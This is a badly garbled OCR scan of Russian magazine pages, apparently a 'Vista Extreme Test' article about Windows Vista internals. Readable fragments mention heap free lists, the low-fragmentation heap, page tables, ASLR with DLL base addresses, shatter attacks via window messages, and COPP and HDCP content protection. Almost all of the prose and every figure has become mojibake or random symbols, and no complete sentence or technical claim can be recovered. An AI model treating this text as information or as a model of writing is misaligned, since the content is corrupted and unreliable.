аариа& аабиаб a4 Аа 6 ce zai вта! убё Га x86- 


MapViewO fF ileE xNuma(... 


1 yoe 


(memory manager), 
a Server 2003 SP1 


At 
в Op fy 


Windows 
a 


Microsoft a 66+ 
да download.microsoft.com/download/9/c/5/9c5b2167-8017- 


http://go.microsoft.com/fwlink/? Linkld=67468 
Abae-9fde-d599bac8184a/kernel-en.doc. 


ai 0-ёёа\ feo ei пи тт 60 fa 1 fia -ейва! Гоа 
боёи баг ву, аааа Гат Of бааа Hada Gai HO Га бас! б- 
aaa саа! богат тт ва .[1 зава& га aha «666+ 
о аГёу» зарот! &1 eda (в басоёйдад. | 1081 &- 
сабёу — aaéi Hi aia... 
[ax ai AOA, +O поба! edd, Saf зат ацааё- 
fai fda a пауса! { 0 é fi efi ё (linked list), dai abu iT - 
0 Га пааёа! hedi аа! Гоа AVL-aadaaly, aap - 
ёабаю df GUT 158 бас абабо авват! аёа -- 


fei GUI аапудё а авазааед. А га беага 
i 


héai edu, dai fA dacti aAfi Adtip ё тд! ecai аебаёи- 
{i Adup ahyé? 17 &0-0 а 46480, +81 6 A&AOa/Server 
Longhorn. 

A af Off ёбаи af Ga 6 баа af OGRE 6 AEEATTA- 


6a+8é (6a6 af ag Гав — Га аёйёа, Oa6 ё Af ddai - 
fii аа! ёа аебобави! Ga побагёба ай dddze0a- 


& пбасо ea ai ci eéaad ali Of й — 11 =i 6 геа yo a 
Га йааваёе ба! ив a? Adil ol 6, +0 © af iw af ёа 
af dd0af fad 6 баа аГоабёё Ai ёаеаад yd 6 аёдёа- 
[1 Adu efi? 6ici aafey аейё! ai a i di Addai Adda 
ёттбааай аааб паау of ual fa тт ава -ёаб 1 aft 
ai 6091 & бас аба. Айат +af ат Oi HOt! Абабоаеау 
побаг еб га Aes, пёйоа1 а ай Г бавааГ а сабасабае- 


ё1 andi aéy аа «fi паза», 
1 ааа Га абасд ай абозеа! O. 
бтаца! аб гвайоёёб аёй- 


Ai oi +81 , i 
y бага Га Adi BU 60ё0ё41, — 7 OF - 


éi a yol Adal i аеёбйу dee | 
écal авбаёи! 1 AOU aaa aa. 

Daddad é OF 66 a6, = Aefhdai а f aati ad-dt 
i adahoaea ай 6daeadi i Таёб ебёб1 аа! [Ha поба! é- 
би, Al аабаеё1 Та Ai OF O06 а! ваа Га HiT васбаойу. 
Гатбы аб, т бё апааваг её 11 at a dei вата! VORTI 
aadi 1 а0е-айёё сааёаааблу Гоёу! ё (ат ST ова! 11 
пёо-аа, 7 aef тб! байй1 Таай аас обоаа 11 бёбёди 


AQ Ar yA 


Гебота уе Га aenéi ai daft, 17 Hel 6d а ep af é 
111 агоаба1 af é сааёавёо [Г овёу ё1 Tai айтт ef edu 
ттам 511. Еллёаа! аа! за азбобавшт ве та! YOR ё 
6 aééa i i ава -ёе 11 васй add, +i «вёю [ ва» ай дай- 
{af ey oda G6 т OT AAG AYO пбаа! ебаёи!{ бааё ё 
adeaddo ai dt écai aedaeuii hoe fai auai 6tia 
i баё08 -айёё Гай и d0€i , Odi Гат af aa «Aandi é Ada- 
бой аё — deed ббаёй» (A) Райё! Gui её! a. 

i aa éf ai au ai edt ai в саг аа! оёё 881 ааёё- 
сабёё опеёевайи Af баабабеёу 1 аГаааеаба 6 авёа 
if aéa+éé п аёй& adi éyo ai, sad fab апоаа! - 

ааа! i weaaéa. Odi аби паб! A поба! 26 
Га аёйё ё hadi fh аёпё! 406 466 adi а i OT ёйб! AeO 
М авай! aafii, +0f 64a6@+84aa0 т 61 acai аёбаёи- 


(Thou т Oe Sf Oaf HeafTi аа! аа/ай а! аа, a of 06, 


8 8 
A 16 16 16 
Free lists 
1024 
SIK Non-dedicated free 
4 list (1-512 Kb) 
HEAP 
Segmentl 
Segment2 
ee] SegmenB 
№1 
Segment array 
Segment64 
>512К >512К 


E6+a, ваётга апой, а Айда 


63 


№ ма тм “м 
dani ваба 

Ay 710) MOEN ИА м 2 
са аасао! |1 nou 
Al EDA NOU ANOAOAO ODE ОЕТ A Eb AAE: 
01 ГОА, AODAEE E АМА, EO? | AZ AO 
ii Of i О, xOi Eb AROOAEBAO.E Of EVE! 
ji oii ,€7 AAA El 7 AUGNI BP ОТ DI 
«М Al EO; i Op МОГ Ei 1 NOU 
AEAAAI ЕВ», | [ЕТ ADAACAAP ОГАМТ, 
| ADAOI Ав А EAOAAI DEP 040, 
EO] «i АЕАО». 
Ai | ONOE] , ANOU NADAADE ANOU МАГ E 
AECI AN. Ai i ONOE] , хАМТ DI NOI В 
NADAADA | AO? AE ONB А $100, A ОАО OEE 
1 O17 OADE/EDAZE Ef O7 DI AOEE 
Ni NOAAEBP 0 $100000. OAT ADU 
17 ANxEOAAI xANOi OO7 AAAI EE NT 
Eiji if €E) AAI A AADI BOI 1 NOU 
AOAEE.i1 AAT {Ui DACEExi Об 
ААА! ONOA, AZAAI Afi i Epi AGA 
Ei 1 1 Ai EE OADRP O1 EEEEADAU (1!) 
Ai EEApi A,i DExAl O71 AAAEBP U AAT 
АГ EU@ Ei NOAAECI EO ONOAI i AEAI А 
OA EEE Ef AS ААБМЕВ NT. 
01 i GDAEp AE EN i ЕОСОР OXBSD/LINUX 
{Ail O1i 0, хор ТГ AANY EAO! UE, 
Ali oii 0, xOi NOU ANOAOAO ОАЕТ A 
ii i BOEA, EAE «<OxAO DENEI Ap. 


i Ai i DAAAAI i OE DENE, САХАМООР 
i ANOOI AB i Ai Ai E E OA ЖА ADAAEE 


Г ANE] EUEI DAC! 


Ti you-0aée, оабаёоабаг атм! та!!! aéy пабаад: а, 
а баа! -га поагоёё абаааро аейё1 Of ие 
if «Oi бевайода! {Gi » Aedzayi . 

> 1 af ddeedd A648. Aai ai в-айёау тай You, O86 
aed | ach ааа! ау 60-6 (аас 4 OF OT Ef ai апёы 7 Ad- 
и айда! аагеа Tse pA ом a Ne @ 1 éaddTd- 
10 .NET), f авааааот Of аба 1 eda TU обе! Gi егаё- 
вааГ Gi в dandi dai ё,1 аа!!! cai adi di éefai a- 
&8Г (66 аё1 646. Е Ti Od) ёсабёу1 af адаваба ё6-е га 
hii At aia Ти 001 1 т! авёудй Га тб! еса! аебаёй- 
{i hou, 17 Al виёб апааёа! bai ава! WEES аё! & а аа- 
баога паау аваёе! баёа Adal аге Efi 7 Ef af ey (RTL) 
&тебаыт а ATi тевуд! ба, 1 абаи ар и ауйу е1таба- 
Get ( (7 е пейба1 а Of GUAT п «та ad) &» саваса! в. 

ARGS 10861 ABOU 686+ Af ay, ёапари 881 
1 (1&7 Of байй! Of G6 A@AOal , Аёйоа 1 оёё-ааойу TO 
ХР Мей di afimaffiié 6 daa агоабеае 66- 
+6 (the low-fragmentation heap — LFH), yadehoe -ай- 
6éi 6 aGa SOI Ai в, аа 1 абё-айёё т! айобаеаар - 
ца @hy ii 4 68686086 cai 61 па Г аайаава! вата! у- 
08, ё1 081 ceaf Г Те (lazy) Af ебёавёсабёав. 

i ай-а0 обаа агоабёее — 10661 ааа 
аба! па. Обаа а/оабеёу 0-6 т SAAT аеот Of PAULA 
ётааагер т Of еса! аебави! 1 Ade, a Af ai ci 1 eft A- 
оё a0 aaéai ey Га! add afi a Agi ва обааба! HO 
ead Ad Oli а fil Of @ бас Ai Sig а. [Г SST ава! ёат 61 ACI 
т 0€acd ааада баа! да, 11 вас aay, ваё! в G7 HU аа 


fl сдабава. №1161 аёйг O1 7 Si Bai 1 а1 ё баё! A 


2 ma 


a) 


йёа -аа ава dedi O(1) i 


Physical Memory 


Physical Address 


Pages Table Entries 


Virtual Address 


RANA 


AO 11-06 


Virtual Memory 


64 VISTA EXTREME TEST Ni 


^ ^ 


5эбе а 1етил 


O “Fe 
WO oS «— 
— :Ф 
LO oD ыы 
<— Oo < 
„— A РИ 
<— = 
‹о <. = 
<a iD : 
:O i 
& = rhs 
= .> 
о oe : 
«5 < р 
2 <> 2 
хо :Ф 
oO: = 
.— #5 
aoe > 
Be 5 : 
—- 8 хо 
— 2: <O 
:5 Ф а 
Os , 
om `© 
= w = 
oO : в 
р > аи "> 
Os 
a3 = 
O < 0 
oP fi 
м 
в: 
a 
oO 
Ф ° 
ы 
ce) 
7 © 
as < 
© о! 
в a. 
Q coe 
2 5 
2 Lo} 
oO 
5 
2 
1 
oS 5 


КА 


2 


2 


Ag 


бааойоаёа! azwad 6 ёсё -айёё1 ё аа 


а (Раде Table) оба! eon 


dé éadaéi 


ё поба! еба! е A€50daé6Ui T 7 AI YOR (Virtual Memory) 


Nodal e+ 


xi EE 


ММЕТ i AEA 


Ni DAAI 
A 


ТОГО 


А MICROSOFT 
WINDOWS. 


NAOAE 802.11 


= 


«УЕГТ », 2006 / Ауаё 
б 


й- 


А 


ё of éuéi 


6ui ay eéci U. 


Winamp 


— 6aa 
369 adu 


TKIP ё Microsoft WPA, 


Windows Server 2003 


65 


(0х770Е0000) 


= = 
== 
= = 
Oo 
E>) = 
Ie) fe 22 ‘О og < я 
i 
i 
ae >< 
<> > 


user32. 91 | 
kernel 32. 91| | 
99132. 911 

[5 

ё 

а 

i 


5 O52 'b SFaeUV' Bx oO f+ 
=] :— Toe} 
8. 7 e Soe 


A 

a 
é 

1 

и 

ai 
a 
а 

ba 

é 
ae 
p 
a 


e 
é 
a 
ё 
а 
а 
а 
ба 
au 
zea du 6 
ayy 
a 
a 
0 
6 


i 
б 
oF 
a 
6 
6 
а 
а 
1 ааб 
а 
& 
а 
д 
{5 


| 
a 
a 
д 


а 
у 
a 
sai tad ai a 
И 
| 
0 
“8 
y 


| 
fi 
i 
ё 
6 
XP 16 

a 
| 
6 
a 
f 
é 
a 


ёй 
fio А 
i é aéy 
on 

> 

i 

ii 

0 


Microsoft, 
Bi 
| 


Тадг aé ес Microsoft. 


Application 5 


Session 1 
Application 6 


ia 


fixup 


Application 4 


zai eyi 


ёё--еу 
Application 8 


aoia 
ee 


ёё, +07 ёт 


Session 2 


Application 9 


return-to- 


Service 1 

Service 2 

Service 3 
Application 7 


Session 0 
бат Oa 


2 


пёбзеай 


Application 1 
Application 1 
Application 1 


A Aehdai 671 6Uct аабаву 


Windows 


A w2k @ XP 


aa 


Microsoft 


ow 


ea | 


a 


a. 


a caai ва af i7 ya- 


666 ASLR 7 0 Microsoft 
px.Oal a 


dot ес aéi аа http://blogs.msdn.com/micha- 
(0x73ad0000) 

(0x74020000) 

(0x779b0000) 

(0x77c10000) 

(0x77a50000) 

(0x73200000) 

(0x73760000) 


&215125811 &Г Ури &88у 466 85 


бавабййу 11 


86 


йбаа Address Space Layout Randomization (ASLR). 
са 


el_howard/archive/2006/05/26/608315.as 


wsock32. 91 | 
winhttp. dll 
user32.dl] 

kernel 32. dl | 
gdi32. 91| 

wsock32. dl] 
winhttp. dll 


а 


У Win32 API 


Microsoft. Aoaédi аа ай 


da 


tkit'a 
а (Chris Paget) «Exploiting design 


ceo roo 


Саабо 


Г) 


Application 2 
Application 


602». 


i eéydl 


Session 1 
Application 3 
Session 3 
Application 9 


{ а& { 86-01, Af Microsoft 4 


р .pdatai 


Application 7 
a. 


Application 1 


oe 


Service 2 
Application 5 


AO 11-06 


66 VISTA EXTREME TEST Ni 
Application 6 


Service 3 
Session 2 


Session 0 
Т 7 Of +€0a00 Га en.wikipedia.org/wiki/- 


Service 1 
Application 4 
аёпоа hédeed 
of aarfié 
tee 
Address Space_Layout_Randomization. 


éci é6é 


ai Server 2003 
ati ёсаб 


A 


, б 


WM_SETTEXT 


2 


[ аё0- 


stem 


aéy- 


a Windows y 


WM_TIMER.A 


> < 


бай! ot 


Server 2003 SP16 


i éf ou al 


аби ea, fi 


ата 


0 


пбаёа. 


67 


3 6 ® 40 20 "ФЕ Op Фо е Co ор Bd ею ® 2 
We Sogo Seno 182s SHPpRST SS Seo ae 
Я Я ° ? 505 5 = = AO OM sO 6 = = а 
5 С „ау +0 00 © ® 5 = on ic <: ОЕ g 
SSB tw DVT as Sos O'S ia Dow OB Ve V6 a 
sad Bog ews Se sigs наносов = 
`> :4 4 = = a oOo, ФФ Oo Sa = < `` 5 < OS р 
По ОЕ СТ ооо бо g 
Ф бюдюгюю- бою. Y Baw oD eo eS ay > 
a0 “YO i= Qo x 9 55 O Vee we Sod 5 iS AO < = 
255 30% -. BESS @ в свв. -A 506-9 5 
о вето 0 объ — 12 G1 10 9 5 TT tS 8 
Bo wo gas Roe ost s a во. _2B oF So Vs 8s 
— 5 <® ях сео om ^ э-= $ POG 54 — Oo я SS “ 
весло FV Ose 5s = Sie ea Sa - A 
ооо Sse § VSS 5008So CHP RBI OS ese is 
а би бб OU —^ “WO oP - — OSC 220 O 2х ow 
- 1D ee 2 5 <Ф ‚= Ww DS << ох + = om OT, ea) QD Oe f= 
<< = = . Oo CO 5 0 2c =! 
oo SC Pos Gg FV VE Sa gil Vee Bic Ow ом 53 
fo о Ех ге < Фо о Bw g VY 0 Е 
a = ВЫ © 5 08 OW \F гс Ve ww <@ iT об oO i 5 °® ® — ‘OOS 7D 2 £8 
шит". Зо <= i oO @ GO < Oe «о Е: 
ey =: <= 5 5 5 © Нет — ще С об oo < 2 10 1 оба = P oo Е 
4 13 Cig 1 TG Go Do WSS в бо“. бб“ 55 
< 2х с OG OS O'S a> gt Ba ae OO Oe бош 9 — 
Фо Зо. оо PVR ON GDS сво. = в 
5 iG 38 обв Bowe Too oS Off g 83 
= 5 к „о“ С Сл a a elas Oo Hw : 505 oS oO Pe 
oO хо < O с Le) 5 _ VY VU io 88 -O = oO 
ооо Rows ево - ща ER 
HoT DVO цю о. Tw GO wo сх So sa 
бе‘ w On TOV юр То 98 
юз O's Ss op OOD VY 35 OD we Oe TT ON SO wD =. 
OB Oe SSBC EK BBs Bs 8 wo о: co = 9 < Bs 
AO Ш я % Pe : ы а м е 
аа. oS DT Soy TBO осо < =Е_ 
a 5 0 Tig -~ 6 VU ow - юг oa w aL 
2 SvSon gel ool rc Вю Евро 
ro) «— Ш of <— 5 oO ce a — ey, «— —- < т) °ф о a e 
— Botte ot wlwowed ad PWS O10 coo ww 
Ot tug + t sy20 ' 
И PBB aR о < pa 5 
— a Hy al = Й 
Е EQ Зоо a .5 >. а = © wy — aly. en 
a © Е Bio Эш wow -O <O OO 
oOo . woo a Eo) io S ow 
об Вы ов SS — 2 Зюхюх о 
OV 5 0m VU <— 0 : и BG O :@ : < 
зовет Be РЕКЕ: 
$5 Ux 5 оз GW — 8 Ш Gee vO ve re 
7 BOO” oF YG 10 — 3 ovo 2-32 
a goeesd Gle*o sei De S 5 
-BowFSets Bip ce OC TS SO s 
т 6 :@ а = кб 5 WD о `Ф > ogy °® 9 2850 | 
5 Dw DD VS WO — 60 GOS x = — 55 
WS — © $ - © 0 юз © oo га) 
OO = O < Se Se O_O 5 Не Ov te ae - 
<M «| > 6 oO WO 2 = oo WO Oe Vo « = 
О ‚а 2 2 А < 5 <. 
< <@ .— <O оо OW cB и oe 
— ® — 2g “Y 20 OO < OO, “8 HO. ее 
woo < Hi SOS Gio oo CS 5 = w 
a SS ew SO A 
3 3 WE oy OH 
В <— об wo O ют я 
Форозоюоьс о 5 ив" 
5 :Ф <= fo Bt Gg ae TTA SOT Y=, 
1 ю xO Do 2S ®э.- sO = 5 
OO: — 1 Фо 20 op -— “<. оз 
oO < 205 00 <= 5 ac — — VSG 
zo) го — om VO <. . SHO ee Cw 
ee Bi Cm Pe oeSE SR: 
Goll eS So Rw 39 в Bossi Grwsoa 
top tS LE ww 5 ° 5 Въ * oS ee 
SO ta oO = xO < 1S KH SO -O 
Oo Kot -® оз om OL © oo OD HM = 
ors: ® _ < Е — 0 5 > og -O TH =O. 0 S 
5 0S 5 5 = Фит = 
Е 2 ig 8 1 SecoB8SSiwsSS 
—om — VU Vig д: — oO ов =; с © 
оо 5 вю S 9 5 с < : 
~ BS 2 ew Pes ФЕ Рю | SF 
< OY -O 0 *O WY -O eC Е юм 
SOD HO 2° Of — G2 -O DO wW > in 
oO 
of 140] ' " и а 
a Поза ©. 
a об WH * a xO 
5 д OY т oY = ; : 
5. — WO gs : > 
- SeSas ets - 47 в gf 
о < Ф :Ф ю = Ю : 5 < sO ™N = © 
= wD Qs Е З< — 5 °® 
© > я ры ю = > т =, ав a 5 © 
3 wi TOO ро п ч 8s 5 2a 
10 205 <— 0 1D * = 7 = об 
м: ю 1S 00 mW > О cS = = ie: 
D V7 gd — = os = оп Zoe 5 2 
oO — Оо O UT жд ы а <@Ф <— 
55 208 = ® Ш one я = << os > = 5 
Ч OW yO 3 Chie fone) х e om <— 
pe BUSS LS HS anal ~8o ю- 
Bey Os iS ae} © wm & о => © <, 3 g 
2 CO oP Tis о 29 Ф == => 5 — 2? 
i a о 2 О 2s: “I au > 
o oo s 5 = А ow ® 
0 >> 
aa >: 7" 5 :@ w =a A 
< WU < ce} - oO 
Е ооо о За 
= °ф oo Ow = 2 5 5 to = 
0 9х 5 © 8 5 у < :5 
<O — 0 oS — о а :Ф 
© 5 VB OTH O&K OH 
с ют ю oD — 
= a = < a 
5 ЗЕ Зо 
5 р. cas ay ю 3 IS xs 
— 55 — 
з ВЕН 
= os Ei) AB :— ®° i) 
ow -O WO an = 5 
= ов вс bs 
< об OO 22 5 55 2 
OO DB = OD oD at 
oO YM -O — DO -O ogg I 
© YO 0S OO OHO O OO -O 2 <— 
— с rl KO KO MO HO <M <O =O <O 


Ir 


aaéecadeé as 


it (wehnus) 


dal afi ecadee 


foe 1 
i af аа1 


Таёад pax аёу п 
en.wikipedia.org/wiki/address_space_layout_randomization 


http://blogs.msdn.com/michael_howard/archive/ 


2006/05/26/608315.aspx 
www.wehnus.com 


Vi adi ai7 
таб 


i авар U dea 


» Microsoft — 


2001 а aa, 
Windows XP, 


Ao 
rey 


68 
VIS 
TA 
EXTREME 
TE 
ST 
ai 


a 
a 
é 


a2 
< — 
‹ WW чи 
Qa 
ao as 
woes 
ЕЕ = 
} < 
ее gts 
P ae On 5 = Bo = 
= ww fen) BD 20 acess wy 
5 —_ oO вы 5 © 2 = 1 
LU © ты = — oO < ис Else) ai : 
С = oo ВЕ 
rae НЕЕ: 
[2 = о ВЕ. 
5 = Oo =: о 2 eoks 50° 
Zo < ae SES. oo за а 
— = ars ce i ЕЕ 5 3% & 
Sas oe EEE А © 
TES < ЕЕ р 
с < а a НН 
a wet = Se = wis SORE о oO. 62 
4 Zio Е: 
К Sas ee но a 2 2 ©; 55: = Pp 
О ЕЕ: ЕЕ eee 
7 = fags Е ВЕ 
= =. ae 
oct 9—5. 523 lal Е =. 
53:8 cs Sis. saa? a сы = a 2s: oo 5 
= р РЕ : see a = 
а Е 48 
a = PERE: 5 3S S285 |) =) 28 : <0 10 © GG 
Ш: а“ РЕ. 2% 5 wes <O Рае: ды Sas 
Sees се = и oa 338 
“gue: wo 47 oe р acces Aas с. = Ss -s8 
ЕЕ НЕ НН 238 5 5 
— ды — 5 < Oo pias < — об ос D = © о oO = ри И: << Pas & = + о 
р 2. ens os < 3 ol = р-ка р © <. “oO а 1 — 3G 2 5 °® O fo) о < 
‹ ЕЕ м о = are 
LL = 3203" SHEE НН — c= 
Q ‹ a 5 S25 НЕ og ЕЕ ее 
ть ' > ве. ЕЕ = Do 5559835 > 
р a ыы — aegis een: p=) of 
aes «< °< oO 7 т] cc = = i ый В oO aa) @ 4 2 Pp cee а 250 
(>) a ae я 5: < тЫ о р = = оо 
Эш a гр ЕЕ 3 8 © ЕЕ 2 ее р зо 
-LLI =e — а ЕЕ © = 25 23. НН 20% 
= о Sa 8 ‘wo See ЕЕ 50% 
< = es LS = oa ps 5 ® S eae es 5 с: а < = «oe 
i ee 5 3 20 ae 51 „лю 55 = = < = to DY of = 55 ом 
«< ‹ «< a Ke) = Re} — 5 oe 5 Qs asm mee © ae = са 
a x 2-2 B ae O = НЕ 239 5 д 2 
ве. НЕЕ ® 2 НЕ: мы 
oct ее > ars ЕЕ Е 5-5 Bees г ия 
ЕЕ о 3 5 р 5 ов vO S8 2 а = Е ры НЫ ae = ы 8 ig о 
а — аш Ss 2-5 oe HEE в. 
— 25530 ee Sige ЕЕ ЕЕ eons 
goes ee ЕЕ 2355 ВЕ. вы 218 
АЦ 1 до 5 я oo <O Be) о а Н — "ae — 4 Be ов — 8 55 
ме О > Е ‚9 => НН 3333 
< se su 22153 gcse 9 © ' S80 о ^ Qo preity 
a | ame = ВЕСЕ 83 , O : oe о" fie) ЕЕ 
< = 5 < f= <2 Pp Ne — 2 о as а :Ф = <— < (=) -O 
gee. aiid ЕЕ рана 
ot < O ox HUES Pee eh, 232 Sree a 
: “xO seas! ages ТЕ a 5 2 _ Po D < В ь 
< 5 >) < — q < 25 <O zc ‹ 5 р oO = — © oO 5 — wv 
РЕ <) = Ce © D ло a 
<a «< ре «а: = —_ 55 pie 23а 
< Вы № a - aio =. = = = = PO ag ЕЕ i < 29 ая 
< о > = AB 5 c= ie <O Oo 7 ov < Bed o < :Ф ' = об © wn 
Oo у < Sis zo) oa a 08 os cat go ee Oo or 
" ii Ww i a B о > < ЕЕ ЕЕ ры cw 
ЕЕ 55 НЕ ЕЕ НН: во 
< ЕЕ НН ЕК: НН ® 
euasos Hada Se: gue 
238232 pili : Soe seo НН 
Зы 3 35 252: < 2 535 Te = = 
<< ен. Rw Г НН 
од aR ‘ г = 55 тю = esse $2823 
a НН: is вес 32-32 НЫ: 
ат. Oo 2 < ao) = 9 ю ‹ а НЫ: 
Se 23225 ЕЕ =. <. sges ь 5 
Е a OT го 5 8 мо о 333 СЕ! вю 0: 
258 as a 2235 SHEE ЕВЕ 
й 250: э = р Зы ВЕ 22% 55 ее 
=D РЕН 553. = 22 9 ЕЕ не 
ВЕ: = a : 5 “© Se eee в=> @ 3° = 
© 4 Q 3 а) ° © ох = o La $ 
' 5 НН geeg2 = « а < 6-5 ee < 
ad 8 oo 3333 WY 5 © ‹ SoS oe H ra ps 
oo: ett a $ ЕЕ НН 
ial Besse <8 58 Ld HUHNE ” 
ЕЕ 3 is НЕ ave 
№ 5 wo ee 285 Pa Bon 33° 
. 5 © ee sin : РЕ 285, iB: $ © 
(с < io № O oO « Pad о 2 5 © = со = а) © = 
о: ве ыы ca 8 ЕЕ Не: = к 
ю © ЕЕ: 0 5 = © РЕ _8 Boo = 
iS — о® 15 9 ре © : Е о ‚5: fey ee 
© _ @ —_ < _2t u i— В : э 9". ale oO ° 
= < < д“ = я” 2 OD 5 и. 
ao tes ЕЕ роз Е 
= grag - oa @ Заз DB Ве BUG Ye 8s 
xO wo vs) xO xO Oo Ped «— oO „5 = =] о э = 4 
se НН | 8g НЫ 5 
a = — & oo о °® rT) 2 5 _ << мо iB pa ix 2 3 = 3s fo 
325223 ВЕ Se до. cease: = 
3-5 с: 5.9 За ея ‘wo а ЕЕ 
all ее. а Pe << м 5% 8^ ЕЕ Е: 
is HEE = os cov ЕЕ ры 
© ВЕН я oS <8 3 р BEBE вез а 
р а Е ее. ЕЕ 20 i 55 <O № 26 2m < 
215. 5 < Sony: Фо. = - Ga gaa ces 
oO we soe = Т vs ЕЕ = ЕЕ г 
ео 5 вы ЕЕ ЕЕ м ЕЕ Os 
~ 23° НЕ 5-е Oo р < д = roms , 329225 
3230 со a. are oO z xO 
oO и анны: = в 5 в”: „5 0 pad 
a 5 о <, «5 о as 3 = о °8 53:3 om *O с <® з => Bx 25 
„о ® on “so ow 5 sa © = ww = ov OS 20 BS = з рт Se , = én 3 
На: ЕЕ 8 НЕ: = 
Ио оо р ит) < РЕ AO р т < = DS wv о 5 =) о о а 3 “0 2c a) ' 5 
Sc © 210 - ® эт © ® © 1c 3 is io a -@ ~ oe 5 =O so 
НЕЕ = Sa” 5 ac ge eo as 1 
10 4 = 5 $5 2 о = © : № 
во: НН: 32525 ВН 
352524213 ЕЕ ЕВЕ = $0 ise ыы is 
ЕЕ ЕЕ _ ВЕРЕ 55% ЕЕ Як 
НН ЕВЕ НН 
om: ee i= gy 2 Seas -23° оз esi: 2 
2a © os 2S Заз: — 5 ae) wo eae SeSs pt os 5 3 9 на а хо = 
5 oe ps per gt о oF ee 1o 0 ro! 
р 235: : oo CS 'S oo a) : 95° BiB 292983: 
oa — В О о 2) oO a a xO Ро ю © A Be} 
eres 33252: Seo БЕ; НЕЕ: т 
29: га“ ЕЕ ЕЕ я. 
233. Ss 3: НЕ a goo: BO $ 
so НН Bane Hits = 
о a — о а Еее 
= oO = о gest asd. т 9 : 5 
Ни B® agg S352 = 
ЕВЕ гео < о Е 
5 aie „5 OO Bene а. 
5: Dt о oa Зо: Bg 0 4 
‘o br] path „9 Oo & 5 is on о 55 © К) (>) 
5. ® = 2 eed ies ' wa i 20° Ss — = 
Ow S oS ` g2 583 НЕЕ 
ao В ees 
oa ay a о > 8 
a 6 “ хо DS = — = 
- 239 За < 3258 Tee 
== < AU 
@ 8 = fea 3283-5 
5 = ре — = © 5 o o Pas 
= а до oO Ф р 
cas а 
ages 7:8 ss: >= 
ВЕ 
a P= | 20 ет] <o mo) Oo AO << oO 
22 = 2 и oa << 5 
7D `Ф Sa 
НЕЕ 
—- = © = 
25; 
8.9 


69 


oO = 
52| 5 
oO 
tio м 
a 
a 2 
- № Е 
Ее 
wv = -= 
© a> _ 
oa o 
- ПМ xe) [69] 
о о о as) 
Ф = оо 
2 ra = >= = 
> ош | oz 
= м а. м 
Oo => 5 
> 
= 
о 
g > Ps 
о 
2 Oo o 
a м 5 
. 
а. 
^ ^ 
x a a x 
= 22 22 = 
an Es Es an 
о | 55 Ss. |? 2 
os 8 5 8 5 5 
= 5<ч 5ч < 
(oe) ®) 
^ RK Ра] ^ 
= > 
© © 
© |e 5 Е 5 
о ш oO oo ous 9 = 
= a © о — ‘> co 
о. — = VU э = = AS 
Е v |O > ov а ш <@ 
с > 
< Oo 2 
= = 
a ^ я К ^ 
= |2 
o 
c Q 
rae 
Е Ф 
@ = _ = 
э |- 5 32 32 5 
06 = = = = 06 
A ie oe но о oe 
5 oae|e lus eso -> э2 
io) 5 5 oO 
= a e< £< a 
5 AS +’. 
= 
= 
[= 
Q 
2 
: 2% 
nome 
Е oe 
[=] 
© =H 


ааёёс! аа! i ay 


2 ae 2 ‚68 
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Microsoft: http://download. 
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800 @Ai Tt ci Aad СОРР, Тай Ti базавёви оёт 
6 ёсё-айё! a Ai ааегагау, паусааар и as ёабоб A 
басбав af {i ai 1 ааёа-&1 г баг да. Cau Adi а61 аба- 
(Aci Ai Adi ё0ёс 0646 пвааор и еб & 1 TTI Af Oa: 
— CAUEOA@EDI EI Ti Ei Nii Al 
OEODI Ai Ai Ei i OAI OA 
(HIGH-BANDWIDTH DIGITAL CONTENT 
PROTECTION EEE HDCP). 


— 7 AU АВ NENOAI AAI AEi Ai Ai A 
ОТ DAAEAI ЕВ Ei i Epi AAI EAI 
GENERATION MANAGEMENT 
SYSTEM-ANALOG EEE CGMS-A). 


1 
(СОРУ 


— САЙ ЕОАТ ОАГАЕТ Ai АГ Ai 
ЕГТЕРТ ААГ ЕВ (ANALOG COPY 
PROTECTION EEE АСР). 


Апёё aeaai -вабоа 17 азабаеаа80 61 OY ай Таё! ёс 
удёб1 adai éci Та, тоёё! азаг ёу1 1 або cada MOAT аади 
i Of Of Gi 6 СОРР аёу ойба! 1 аёё обааба Ta Odi ALY 
сай ё0а. Nal 161 9 & & СОРР Ti Saaasyad! adi 6 fit - 
dag af вв, 1 аа! A+eaap и еб ойоа! T аёб daci тай! 1 - 
ai (secure) &1 1 огеёабё iii a вагаёа й абавааб! 1 
аёаа! -вабоа, +01 уавуаолу ёёр -аай1 уёа af df) 
Tau dé побабааее асё1 а. Апёё бамт 061 в Adu 
СОРР, i foal аойу of UAT 1 Таёб Edd? аабй абавааб! 

1 51 OF &ё СОРР hii &йсоад & ай аобаг €- 
6 евабё fi 06 Ali au агёв (Message Authentication 
Codes ё&ё MACs) аёу 161 аабёё баё! по! 1 Ade 
СОРР-&1 ага, оёбёбвебор и еб 1 азеаб 1 бёё1 аеа- 
[681 ё аёаа! -adaéaadii . | Geel eas ay асаё 1 - 
IAMCertifiedO utputP rotection, i баайбааёур и ай fi - 
ai 6 &f 6406 аей DirectS how Video Mixing Renderer 
filter (VMR-7 e€6@ VMR-9). 

Nai 77 Addai Of Of @ & СОРР Гатт базавёузо! e- 
ваёёот1 68086 G86 OT AN67 54, i SAI Af Yai 06 4 Ge- 
6 Of ATi 61 ааёд-& [ O8f 06. O88 228 COPP Га fi абаео 
ada Г еваёёб cau edi G61 абагёс! Та, & 1051 ёё- 
бор и еб ай бт а GAO 61 ATA 1 adea-i7 Hai Toa! 
COPP айа& вёв ит баа! позавуад fil а1 в йа! at абас- 
Гав «@ Г daéi аб», 1 айёбаваар и вв тт авёр = гааё 
(ai 6 cau edd, Таай! а-аг Газ аёаа! -ваба в. Е, а 
Эй 1 ПОВ, | 1 азад ай аайдё Ai AT ёт! ааабаеааа! 06 
ар 1 adi ата —1 ааёа-1 ёааб йа! бай add, ai поаб +47 
ёё убёб cal G0 aéy ai fi Of есаааа! ву cab ви а! та 
COPP Га! её ёё1 , 1 Tei i сайбааёой аа а! саба- 
U adui? а&1 a ор ё101 61 абёр ‚11 са! вури op i die 
at aadt cal ецаггае 1 ааёа-ё! гоаго fa Гасац ё- 
ца! 111 Та! боа1 ааг ве, ат т олёар и ai аа абаадаа 

| dada +8i Га-а0й Acaei 1 ааейоа! аадй A 
COPP'i , i 6867 г=а{ a ai afi 11 пёаа! аабаёш т 
adit éf G00 пёаабр и ёа в aa: 

— ii EOxE OU OAT i xEONADOEOEEAOI А 
ADAEAADA (A Oi ААРОАТ I i AAAONB «EA- 
AUE» ADAE AAD). 


вт тегаго бёг обааба! та! 


пабоед вваба 


i бе! аб ij dee 


eniiéici aaieéa 


йабоед еёада басбав aii at i? aiene 
йбагабёу 


ai hi oi @caaaai éa 


